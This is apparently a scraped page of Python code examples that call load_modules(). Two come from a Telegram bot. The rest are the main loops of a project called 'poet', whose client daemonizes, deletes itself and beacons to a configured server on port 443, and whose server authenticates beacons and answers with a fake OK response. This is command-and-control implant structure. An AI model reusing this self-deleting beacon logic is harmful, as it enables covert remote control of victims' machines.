Example #1
0
def main():
    logging.basicConfig(
        level=logging.INFO,
        format='[%(asctime)s][%(module)s][%(levelname)s] %(message)s',
        datefmt='%Y-%m-%d %H:%M:%S')
    load_modules()
    get_module('core').updater.idle()
Example #2
0
def main():
    global args
    args = get_args()
    if CFG.SERVER_IP is not None:
        args.server = CFG.SERVER_IP
    if CFG.BEACON_INTERVAL is not None:
        args.interval = CFG.BEACON_INTERVAL

    # dynamically load all modules. needs to be before daemonize because it
    # needs to be able to open itself to find modindex.txt in package.c
    # daemonize changes the cwd so the open won't work.
    module.load_modules()

    # daemonize if we're not in --no-daemon or --debug mode
    if not args.no_daemon and not args.debug:
        daemonize()

    # disable debug messages if we're not in --debug
    if not args.debug:
        debug.disable()

    if not args.no_selfdestruct:
        debug.info('Deleting client')
        try:
            selfdestruct()
        except Exception as e:
            # fatal
            sys.exit(0)

    HOST = args.server
    PORT = int(args.port) if args.port else 443

    debug.info(
        ('Poet started with interval of {} seconds to port {}. Ctrl-c to exit'
         ).format(args.interval, PORT))

    try:
        while True:
            if is_active(HOST, PORT):
                debug.info('Server is active')
                PoetClient(HOST, PORT).start()
            else:
                debug.warn('Server is inactive')
            time.sleep(args.interval)
    except KeyboardInterrupt:
        print
        debug.err('Poet terminated')
    except Exception as e:
        debug.warn('Fatal error: {}'.format(e.message))
        debug.err('Poet terminated')
        sys.exit(0)
Example #3
0
File: client.py Project: nask0/poet
def main():
    global args
    args = get_args()
    if CFG.SERVER_IP is not None:
        args.server = CFG.SERVER_IP
    if CFG.BEACON_INTERVAL is not None:
        args.interval = CFG.BEACON_INTERVAL

    # dynamically load all modules. needs to be before daemonize because it
    # needs to be able to open itself to find modindex.txt in package.c
    # daemonize changes the cwd so the open won't work.
    module.load_modules()

    # daemonize if we're not in --no-daemon or --debug mode
    if not args.no_daemon and not args.debug:
        daemonize()

    # disable debug messages if we're not in --debug
    if not args.debug:
        debug.disable()

    if not args.no_selfdestruct:
        debug.info("Deleting client")
        try:
            selfdestruct()
        except Exception as e:
            # fatal
            sys.exit(0)

    HOST = args.server
    PORT = int(args.port) if args.port else 443

    debug.info(("Poet started with interval of {} seconds to port {}. Ctrl-c to exit").format(args.interval, PORT))

    try:
        while True:
            if is_active(HOST, PORT):
                debug.info("Server is active")
                PoetClient(HOST, PORT).start()
            else:
                debug.warn("Server is inactive")
            time.sleep(args.interval)
    except KeyboardInterrupt:
        print
        debug.err("Poet terminated")
    except Exception as e:
        debug.warn("Fatal error: {}".format(e.message))
        debug.err("Poet terminated")
        sys.exit(0)
Example #4
0
def reload(bot, update):
    chat_member = bot.get_chat_member(update.message.chat_id,
                                      update.message.from_user.id)
    logging.getLogger().warning("reload request received from '%s'",
                                chat_member.user.username)

    if chat_member.status in [ChatMember.ADMINISTRATOR, ChatMember.CREATOR]:
        logging.getLogger().info('reloading modules')
        subprocess.call(["git", "pull"])
        load_modules()
        update.message.reply_text('done')
    else:
        logging.getLogger().warning("user doesn't have permissions")
        update.message.reply_sticker('CAADAgADLwEAAnEVJwABIQFxj4o5xLkC',
                                     reply_to_message_id=False)
Example #5
0
def main():
    args = get_args()
    if args.version:
        print 'Poet version {}'.format(__version__)
        sys.exit(0)
    print_header()
    PORT = int(args.port) if args.port else 443
    try:
        s = PoetSocketServer(PORT)
    except socket.error as e:
        if e.errno == 13:
            die('You need to be root!')
    if os.geteuid() == 0:
        drop_privs()
    debug.info('Poet server started on port: {}'.format(PORT))
    module.load_modules()
    while True:
        try:
            conn, addr = s.accept()
        except KeyboardInterrupt:
            die()
        conntime = datetime.now().strftime(debug.DATE_FMT)
        ping = conn.recv(SIZE)
        if not ping:
            die('Socket error: {}'.format(e.message))
        auth_err = authenticate(ping)
        if auth_err:
            print '[!] ({}) Connected By: {} -> INVALID! ({})'.format(
                conntime, addr, auth_err)
            conn.close()
        else:
            print '[+] ({}) Connected By: {} -> VALID'.format(conntime, addr)
            conn.send(FAKEOK)
            conn.close()
            try:
                PoetServer(s).start()
                break
            except Exception as e:
                print e
                die('Fatal error: {}'.format(e.message))
    die()
Example #6
0
File: server.py Project: nask0/poet
def main():
    args = get_args()
    if args.version:
        print 'Poet version {}'.format(__version__)
        sys.exit(0)
    print_header()
    PORT = int(args.port) if args.port else 443
    try:
        s = PoetSocketServer(PORT)
    except socket.error as e:
        if e.errno == 13:
            die('You need to be root!')
    if os.geteuid() == 0:
        drop_privs()
    debug.info('Poet server started on port: {}'.format(PORT))
    module.load_modules()
    while True:
        try:
            conn, addr = s.accept()
        except KeyboardInterrupt:
            die()
        conntime = datetime.now().strftime(debug.DATE_FMT)
        ping = conn.recv(SIZE)
        if not ping:
            die('Socket error: {}'.format(e.message))
        auth_err = authenticate(ping)
        if auth_err:
            print '[!] ({}) Connected By: {} -> INVALID! ({})'.format(conntime, addr, auth_err)
            conn.close()
        else:
            print '[+] ({}) Connected By: {} -> VALID'.format(conntime, addr)
            conn.send(FAKEOK)
            conn.close()
            try:
                PoetServer(s).start()
                break
            except Exception as e:
                print e
                die('Fatal error: {}'.format(e.message))
    die()